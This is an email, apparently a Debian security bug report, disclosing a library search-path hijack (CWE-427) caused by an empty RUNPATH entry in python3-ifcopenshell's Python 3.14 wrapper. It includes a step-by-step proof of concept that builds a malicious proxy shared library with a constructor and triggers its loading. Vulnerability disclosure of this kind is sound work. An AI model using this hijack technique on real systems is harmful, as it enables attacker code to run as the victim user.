[From nobody Tue Nov 10 01:03:07 2026
Received: (at submit) by bugs.debian.org; 31 May 2026 23:21:17 +0000
X-Spam-Checker-Version: SpamAssassin 4.0.1-bugs.debian.org_2005_01_02
 (2024-03-25) on buxtehude.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-13.7 required=4.0 tests=BAYES_00,
 BODY_INCLUDES_PACKAGE,DKIM_SIGNED,DKIM_VALID,DKIM_VALID_AU,
 DKIM_VALID_EF,FREEMAIL_FROM,HAS_PACKAGE,HTML_MESSAGE,MULTALT,
 RCVD_IN_DNSWL_NONE,SPF_HELO_NONE,SPF_PASS autolearn=ham
 autolearn_force=no version=4.0.1-bugs.debian.org_2005_01_02
X-Spam-Bayes: score:0.0000 Tokens: new, 38; hammy, 150; neutral, 131; spammy,
 0. spammytokens: hammytokens:0.000-+--python3, 0.000-+--fPIC,
 0.000-+--sk:aarch64, 0.000-+--dfsg15, 0.000-+--dfsg1-5
Return-path: &lt;jonathan.trowbridge@gmail.com&gt;
Received: from mail-dl1-x1233.google.com ([2607:f8b0:4864:20::1233]:39551)
 by buxtehude.debian.org with esmtps
 (TLS1.3:ECDHE_X25519__RSA_PSS_RSAE_SHA256__AES_128_GCM:128)
 (Exim 4.96) (envelope-from &lt;jonathan.trowbridge@gmail.com&gt;)
 id 1wTpT1-005pp3-1Z for submit@bugs.debian.org;
 Sun, 31 May 2026 23:21:17 +0000
Received: by mail-dl1-x1233.google.com with SMTP id
 a92af1059eb24-137c0db2638so116108c88.2
 for &lt;submit@bugs.debian.org&gt;; Sun, 31 May 2026 16:21:14 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1780269673; cv=none;
 d=google.com; s=arc-20240605;
 b=ZgENO6XZIXUODN4a54jRUVEibx8up/oCb7tvIJnEHb7rYqBpWIpRrxI7MioMNwg3SN
 U6KB2ys+EYz2aQJmOCoAA9CEBldblMXCbOZZdBqU/+Xrntmco1p9Jm88UqRyqT4I4h8g
 WZinCi3q0gaYJs1PZDR+YGXy/pODex9azTdjThU53fopn0IFRts2oB6mg2mBYD8dSx8a
 3+O8/4wNVgr674nyE51n82kSkwXZuDD513CoYbqZ5b86Bhy3rGLyJ3QO7oSg/9CNIL6L
 ESJGSIhfdPL7DNBfe9U5VUGamV8CRDPi1ns4dblw1QHqEfQyBjscvGzs/XiP74OsqLS3
 KgOg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com;
 s=arc-20240605; 
 h=to:subject:message-id:date:from:mime-version:dkim-signature;
 bh=KxV0tAMXkyazo7kQsUrFUmP2mCjVZ7rpAbfFq2D3KOQ=;
 fh=lIR/7veID2U00tj1D35G+ANF85YwqTAbTuNH/WGncTs=;
 b=QDf3H9aTdHdMB0GoMCICy61ChTU2eTRdce92ob15FD9tPnFP7MC/jRCnNm0VG/EX4A
 zU10UerFFkefUywst3KE55MWLF6xErxYqt2T/7c9Y9DTMiIvS9v83m8k1xSH717C7x80
 3udcxHrZBD4X4EDZOZFtRvaTH3kJqFqnsrpaPBqoiA4UmwpnFzm4oNvreBK9QWiYJm56
 LrGSHVo06ZPdEDpIwAXucCdJ3sAAQ+r0/zLfEF7u5L8V8Pf2imCWbDyQWdoyh+k6tvht
 uuOBq2bvnXZlXeBmG7ZZNowCUBqKx8D41P7+mPz6c8qX/Ch2/tliu48x+7oXzm/sB1XY
 L9Iw==; darn=bugs.debian.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=gmail.com; s=20251104; t=1780269673; x=1780874473; darn=bugs.debian.org;
 h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
 :date:message-id:reply-to;
 bh=KxV0tAMXkyazo7kQsUrFUmP2mCjVZ7rpAbfFq2D3KOQ=;
 b=VgP0N9q0WPxqVwBndRjOKbdimDnC9qvEKSaHLYmv07IeZBEFq1aJtqTxLEQcoUci99
 XqAKMSRmplQKv6JEUOKpJQpNcbgkFgOJGJcPHd7tFZX+4gHEf4omyuqI7qz2AfRaG8sk
 a+XUK65n/x5TcVRSHn25GJ8GuQ8BK9RApw3Mz7t6eyT1JVGUPVAoJZjCh+gAsAzz7fiK
 R9b7q48d89h1Hcns9ecSOuh/mH+rupl9AqTy3v7XjdNx3QcaX+Q6f2onH0JXQILGklno
 nAMoBuM51uh6s68NrBXes+PyHofU87uCJBOCw6EzAB4MN8bRdqS77bEwsTdpAIPHwTK3
 GpsA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20251104; t=1780269673; x=1780874473;
 h=to:subject:message-id:date:from:mime-version:x-gm-gg
 :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
 bh=KxV0tAMXkyazo7kQsUrFUmP2mCjVZ7rpAbfFq2D3KOQ=;
 b=rcvBIfkLgUsiNTMFYByZZBW557Eiut2fgImrDbuPZ8Ewpky64uRLDykcuCQyKkWTIL
 uVA8ZCOHwVfJDjuzFLoHxFvqq5HOnNVXu8uSKBm4a1u2PLJKBxuA9/zLc+7sKVq6fUB7
 v9qVUO9LZpR8kN1bMAsaS98Yw22fbsDJYTuTanWad3U8ImLBmt7ww5UTVDLjT/L4mw6E
 Nc+Y6CTOT0E+NcbCtGN9OLbGRX86/hNdhW6f2eKtipJFqB/N9f6qY0MJ9rIB9WzN6h9g
 C9bh99aAkWRSA/gd2tRp8RCmVl4nks70Y8b2b4J3l6VHuXI72tf7a/UpIFDCtuY+X2Wy
 Eu0g==
X-Gm-Message-State: AOJu0Yxvqu0jv5ypuh3wcRCTLTJdQbntkLShLt7WL58AwSq+FOHygYt1
 fcQrsl0dYVBQNYI8wxQgD0ufCZ5GSU2s0p2ZyYjuDBp0jkTynWQO0/Ivq6EJeBf+1VCzZzmdoyS
 uvRu2ukrMuMuc3AMG05NwqjIy3agn4kfB5BIG34E=
X-Gm-Gg: Acq92OFsrl/FD/fj2Fphd1M6Q9AqGf5DMu8itiYk3SEX0N5q5KEG0ERPS66B4eCZfWb
 6248rEUyH1kGe3nN+yysc2eYHbQtomzXD+BO8PYNKYwG8bbj3DwKZ54l3fvr2g1AeGcC2tDbJrs
 2vplg3yGlCQJvHJwTUWduu5imsqWvOBdk5dN2tmQUtcdpOufb0bsBJDxNO5WwdpiSP4UoXU5vyw
 HAZ5SFkAf7PCKVNdpL/xDaZbHDL3s5Z+RQbSJgvITYaYtl0OjaqI0AFdkPHbBwF2MiT/NJcUGbr
 XveHiKAPT9vrfyG4s4ptVmh3DzQ=
X-Received: by 2002:a05:7022:e24:b0:127:def:dd72 with SMTP id
 a92af1059eb24-137d3e05918mr1922250c88.2.1780269672959; Sun, 31 May 2026
 16:21:12 -0700 (PDT)
MIME-Version: 1.0
From: Jonathan Trowbridge &lt;jonathan.trowbridge@gmail.com&gt;
Date: Sun, 31 May 2026 19:21:02 -0400
X-Gm-Features: AVHnY4LqtIbbR3pYd008oGsfBhsksV93qeQaZSVvcmZmjgn76R1zEBsE7iTvB7w
Message-ID: &lt;CAKRsXK60zGrUbpV9bHuVK9Qy45LhUDRX_2LTrb-Pf75AhMiWPg@mail.gmail.com&gt;
Subject: python3-ifcopenshell: Uncontrolled Search Path Element (CWE-427) in
 python3.14 wrapper
To: submit@bugs.debian.org
Content-Type: multipart/alternative; boundary=&quot;0000000000007613a3065325554c&quot;
Delivered-To: submit@bugs.debian.org

--0000000000007613a3065325554c
Content-Type: text/plain; charset=&quot;UTF-8&quot;

Package: python3-ifcopenshell
Version: 0.8.1+dfsg1-5
Severity: important
Tags: security

*Summary:*

The python3-ifcopenshell Debian package installs the Python extension
module:
/usr/lib/python3/dist-packages/ifcopenshell/_
ifcopenshell_wrapper.cpython-314-aarch64-linux-gnu.so

This library contains a RUNPATH with an empty trailing path element:

RUNPATH
[/build/reproducible-path/ifcopenshell-0.8.1+dfsg1/debian/build/3.14:/build/reproducible-path/ifcopenshell-0.8.1+dfsg1/debian/build/3.14/svgfill:]

Empty entries in an ELF RUNPATH (such as the trailing colon in this
RUNPATH) are interpreted by the dynamic linker as the current working
directory (CWD). As a result, when _
ifcopenshell_wrapper.cpython-314-aarch64-linux-gnu.so resolves its
dependencies, the dynamic linker searches the process working directory.

This permits library search path hijacking if an attacker places a
malicious shared library in the directory from which a victim executes
software that imports the ifcopenshell module using Python 3.14.

*Impact:*

An attacker can cause execution of attacker-controlled code in the security
context of the user running the affected application.

Since python3-ifcopenshell provides Python bindings, a victim might execute
a Python script from a directory (such as a downloaded dataset, extracted
archive, shared workspace, or /tmp) that contains an attacker-controlled
shared library. If this occurs, the malicious library will be loaded and
executed before the legitimate system library.

This issue falls under CWE-427 (Uncontrolled Search Path Element).

*Proof of Concept:*

*1. Create an attacker-controlled workspace:*

$ mkdir -p /tmp/malicious_workspace
$ cd /tmp/malicious_workspace

*2. Create the malicious payload:*

$ cat &lt;&lt; 'EOF' &gt; poc_ifc.c
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

__attribute__((constructor))
void exploit() {
    printf(&quot;\n[!!!] IFCOPENSHELL HIJACK SUCCESSFUL [!!!]\n&quot;);
    exit(0);
}
EOF

*3. Create a dummy version map to satisfy dependency version requirements:*

$ cat &lt;&lt; 'EOF' &gt; versions.map
GLIBC_2.17 { };
GLIBC_2.29 { };
EOF

*4. Build a proxy libSerializers.so.0.8 library using DT_AUXILIARY so
normal symbol resolution continues:*

$ gcc -shared -fPIC poc_ifc.c \
    -o libSerializers.so.0.8 \
    -Wl,-f,/usr/lib/aarch64-linux-gnu/libSerializers.so.0.8 \
    -Wl,--version-script=versions.map

*5. Create a Python script that imports the vulnerable library:*

$ cat &lt;&lt; 'EOF' &gt; trigger.py
import ifcopenshell
print(&quot;ifcopenshell imported successfully!&quot;)
EOF

*6. Execute the trigger from the malicious directory using Python 3.14 (the
vulnerability exists in the cpython-314 wrapper):*

$ PYTHONPATH=/usr/lib/python3/dist-packages python3.14 trigger.py

*Result:*

[!!!] IFCOPENSHELL HIJACK SUCCESSFUL [!!!]

*Expected Fix:*

The package should not ship binaries containing empty path elements in
their RUNPATH. The trailing colon should be removed.

--0000000000007613a3065325554c
Content-Type: text/html; charset=&quot;UTF-8&quot;
Content-Transfer-Encoding: quoted-printable

&lt;div dir=3D&quot;ltr&quot;&gt;Package: python3-ifcopenshell&lt;br&gt;Version: 0.8.1+dfsg1-5&lt;br=
&gt;Severity: important&lt;br&gt;Tags: security&lt;br&gt;&lt;font size=3D&quot;4&quot;&gt;&lt;br&gt;&lt;b&gt;Summary:&lt;=
/b&gt;&lt;/font&gt;&lt;br&gt;&lt;br&gt;The python3-ifcopenshell Debian package installs the Pyth=
on extension module:&lt;br&gt;/usr/lib/python3/dist-packages/ifcopenshell/_&lt;a hre=
f=3D&quot;http://ifcopenshell_wrapper.cpython-314-aarch64-linux-gnu.so&quot;&gt;ifcopens=
hell_wrapper.cpython-314-aarch64-linux-gnu.so&lt;/a&gt;&lt;br&gt;&lt;br&gt;This library conta=
ins a RUNPATH with an empty trailing path element:&lt;br&gt;&lt;br&gt;RUNPATH [/build/r=
eproducible-path/ifcopenshell-0.8.1+dfsg1/debian/build/3.14:/build/reproduc=
ible-path/ifcopenshell-0.8.1+dfsg1/debian/build/3.14/svgfill:]&lt;br&gt;&lt;br&gt;Empty=
 entries in an ELF RUNPATH (such as the trailing colon in this RUNPATH) are=
 interpreted by the dynamic linker as the current working directory (CWD). =
As a result, when _&lt;a href=3D&quot;http://ifcopenshell_wrapper.cpython-314-aarch=
64-linux-gnu.so&quot;&gt;ifcopenshell_wrapper.cpython-314-aarch64-linux-gnu.so&lt;/a&gt; =
resolves its dependencies, the dynamic linker searches the process working =
directory.&lt;br&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;This permits library search path hijackin=
g if an attacker places a malicious shared library in the directory from wh=
ich a victim executes software that imports the ifcopenshell module using P=
ython 3.14.&lt;/div&gt;&lt;br&gt;&lt;b&gt;&lt;font size=3D&quot;4&quot;&gt;Impact:&lt;/font&gt;&lt;/b&gt;&lt;br&gt;&lt;br&gt;An attac=
ker can cause execution of attacker-controlled code in the security context=
 of the user running the affected application.&lt;br&gt;&lt;br&gt;Since python3-ifcopen=
shell provides Python bindings, a victim might execute a Python script from=
 a directory (such as a downloaded dataset, extracted archive, shared works=
pace, or /tmp) that contains an attacker-controlled shared library. If this=
 occurs, the malicious library will be loaded and executed before the legit=
imate system library.&lt;br&gt;&lt;br&gt;This issue falls under CWE-427 (Uncontrolled S=
earch Path Element).&lt;br&gt;&lt;br&gt;&lt;b&gt;&lt;font size=3D&quot;4&quot;&gt;Proof of Concept:&lt;/font&gt;&lt;/b=
&gt;&lt;br&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;&lt;div&gt;&lt;b&gt;1. Create an attacker-controlled workspace:&lt;/b&gt;&lt;/di=
v&gt;&lt;div&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;&lt;/div&gt;$ mkdir -p /tmp/malicious_workspace&lt;br&gt;$ cd /tmp/ma=
licious_workspace&lt;br&gt;&lt;br&gt;&lt;div&gt;&lt;b&gt;2. Create the malicious payload:&lt;/b&gt;&lt;/div&gt;=
&lt;div&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;&lt;/div&gt;$ cat &lt;&lt; &#39;EOF&#39; &gt; poc_ifc.c&lt;br&gt;#inclu=
de &lt;stdio.h&gt;&lt;br&gt;#include &lt;stdlib.h&gt;&lt;br&gt;&lt;br&gt;__attribute__((const=
ructor))&lt;br&gt;void exploit() {&lt;br&gt;=C2=A0 =C2=A0 printf(&quot;\n[!!!] IFCOPENS=
HELL HIJACK SUCCESSFUL [!!!]\n&quot;);&lt;br&gt;=C2=A0 =C2=A0 exit(0);&lt;br&gt;}&lt;br&gt;EO=
F&lt;br&gt;&lt;br&gt;&lt;div&gt;&lt;b&gt;3. Create a dummy version map to satisfy dependency versio=
n requirements:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;&lt;/div&gt;$ cat &lt;&lt; &#39;EOF&#39;=
 &gt; versions.map&lt;br&gt;GLIBC_2.17 { };&lt;br&gt;GLIBC_2.29 { };&lt;br&gt;EOF&lt;br&gt;&lt;br&gt;&lt;div=
&gt;&lt;b&gt;4. Build a proxy libSerializers.so.0.8 library using DT_AUXILIARY so no=
rmal symbol resolution continues:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;&lt;/div&gt;$ gcc -sha=
red -fPIC poc_ifc.c \&lt;br&gt;=C2=A0 =C2=A0 -o libSerializers.so.0.8 \&lt;br&gt;=C2=A0=
 =C2=A0 -Wl,-f,/usr/lib/aarch64-linux-gnu/libSerializers.so.0.8 \&lt;br&gt;=C2=A0=
 =C2=A0 -Wl,--version-script=3Dversions.map&lt;br&gt;&lt;br&gt;&lt;div&gt;&lt;b&gt;5. Create a Pyth=
on script that imports the vulnerable library:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;&lt;/d=
iv&gt;$ cat &lt;&lt; &#39;EOF&#39; &gt; trigger.py&lt;br&gt;import ifcopenshell&lt;br&gt;p=
rint(&quot;ifcopenshell imported successfully!&quot;)&lt;br&gt;EOF&lt;br&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;=
&lt;div&gt;&lt;b&gt;6. Execute the trigger from the malicious directory using Python 3.=
14 (the vulnerability exists in the cpython-314 wrapper):&lt;/b&gt;&lt;br&gt;&lt;br&gt;$ PYTH=
ONPATH=3D/usr/lib/python3/dist-packages python3.14 trigger.py&lt;br&gt;&lt;/div&gt;&lt;br&gt;=
&lt;div&gt;&lt;b&gt;Result:&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;&lt;/div&gt;[!!!] IFCOPENSHELL HIJACK SU=
CCESSFUL [!!!]&lt;br&gt;&lt;br&gt;&lt;b&gt;&lt;font size=3D&quot;4&quot;&gt;Expected Fix:&lt;/font&gt;&lt;/b&gt;&lt;br&gt;&lt;br&gt;T=
he package should not ship binaries containing empty path elements in their=
 RUNPATH. The trailing colon should be removed.&lt;br&gt;&lt;/div&gt;

--0000000000007613a3065325554c--
]